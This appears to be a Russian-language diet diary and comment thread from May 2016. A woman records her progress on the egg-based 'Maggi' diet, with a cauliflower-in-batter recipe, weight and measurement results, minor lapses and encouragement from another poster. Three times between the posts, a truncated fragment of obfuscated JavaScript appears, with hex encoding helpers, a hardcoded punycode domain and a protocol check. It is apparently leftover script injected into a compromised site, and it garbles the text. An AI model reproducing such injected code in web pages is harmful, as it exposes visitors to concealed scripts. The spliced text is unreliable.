Преображение на Магги!

Вот рецептик цветной капусты в кляре: цв. капусту промыть и разделить на соцветия, положить в подсоленную воду и варить минут 5-7.(Время зависит от капусты оа должна быть не переваренная,  а чуточку хрустеть.) Слить воду и пусть немного остынет. Взбить яички посолить и поперчить по вкусу. Обмакнуть в кляре и на сковороду. Обжарить с двух сторон под крышкой. В кляр можно добавить зелень, будет только вкусней.

Я когда выложила капусту на сухую сковородку, добавила чучуть водички, масло же нельзя, получилось вкусно.

А если не по Магги, тогда в кляр добавить муки и обжарить на масле.

Сегодня обед был очень вкусный, на ужин даже и 2 яйца хватило.

// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e

Напиши, пожалуйста, рецепт как ты это готовить будешь

25.05.2016

Спасибо, стараюсь!!!

Кажется  у меня началась аллергия либо на яйца, либо на цитрусовые в виде красных маленьких прыщиков-пятен. Некоторые немножко чешутся, но думаю до конца недели сильно не обсыпит.

Жду 3 неделю — конец яйцам. В фруктовые дни полностью уберу цитрусы.

Завтра 4 день 2 недели, на обед вареные овощи и яйца, так вот купила цветную капусту, отварю ее и обжарю в яичке, вот вкусняшка получится.

Потрясающие результаты!!!!!!!! Молодец!!!!

24.05.2016

Сегодня проснулась в 7.00 и быстрей взвешиваться.

Вот итоги за 8  дней:

вес — 2,7 кг.

об.груди -2,5см.

об.талии -3см.

об. боков -5см.

об.бедер -7см.

Да джинсы, которые сидели на мне как на бубене уже сползают, приходится их подтягивать.

Я яички и цитрусы уже надоели жду 3 неделю.

// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e

Молодец! 5 см это круто! Это думаю очень заметно! Скоро будешь в комплиментах купаться!!!

23.05.2016

Да грибочков охото, вот были бы они в меню.

Я думаю в кафе чуть чуть нарушить можно, главное чтоб эти чуть чуть в привычку не вошли.

Выдержка у тебя отличная, я думаю за 2,5 недели можно.

Взвешивание по графику завтра, с нетерпением жду. В начале диеты я обмерила обхваты, но у меня не было сантиметра, пришлось изобретать. Сегодня купила сантиметр и не удержалась и обмерялась, так вот с боков ушло 5 см. —  я в восторге. Завтра отпишусь по всем параметрам.

// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e

Молодец! Поздравляю с завершением первой недели!!! Какие результаты за неделю?

Конфетка думаю не повредит, но психику успокоит. А насчет сладости... я заметила, что мы действительно перестали чувствовать насколько все продукты переслащены!!! Я как-то после подобной диеты опробовала вареную колбасу — это просто отвратно, прямо реально очень сладко.

Я тоже сегодня немножко нарушила — первый раз за 2,5 недели. Были в кафе с подружками, а у меня рыбно-овощной день. Ну я и заказала запеченную радужную форель, фаршированную овощами. Думала, что как раз вписываюсь. Рыбка оказалась чудесной, а вот овощи были поданы отдельно как гарнир и там были грибы, а еще они были слегка припущены на масле... можно было бы конечно их не есть, понимаю, но они так пахли... Так что я тоже с покаянной )))

22.05.2016

Вот и подошла к концу 1-я неделя. Ближе к вечеру начала болеть голова и горло, не знаю, может быть голова- из-за погоды, а горло, холодного ничего  не пила. Еще и настроение как то упало.

В шкафу обнаружила шоколадную конфету, решила отпраздновать завершение 1 недели и поднять себе настроение. Конфета оказалась очень сладкой — сказывается питание без сахара. Думаю  это не так уж ужасно, зато я так подготовилась ко 2 недели.

Прошу понять и простить!!!

Всегда пожалуйста )

Груши это классно. Они очень хорошо насыщают и способствуют очищению. Так что ты молодец! Держись намеченного курса!! У тебя все получится!